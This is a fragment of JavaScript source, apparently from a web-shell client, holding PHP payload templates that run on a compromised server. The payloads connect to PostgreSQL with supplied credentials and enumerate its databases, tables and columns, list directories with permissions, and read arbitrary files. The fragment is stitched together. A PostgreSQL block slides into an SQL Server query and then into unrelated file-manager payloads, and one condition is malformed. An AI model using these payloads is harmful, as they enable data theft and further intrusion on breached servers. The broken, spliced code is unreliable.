$q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
},
// 显示数据库所有表
show_tables:{
_:`
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
},
// 显示表字段
show_columns:{
_:`
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
$q=@sqlsrv_query($T,"select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{$tab}'",null);
_:`$D=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\\t".$T."\\t".@filesize($P)."\\t".$E."\\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
_:`$F=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,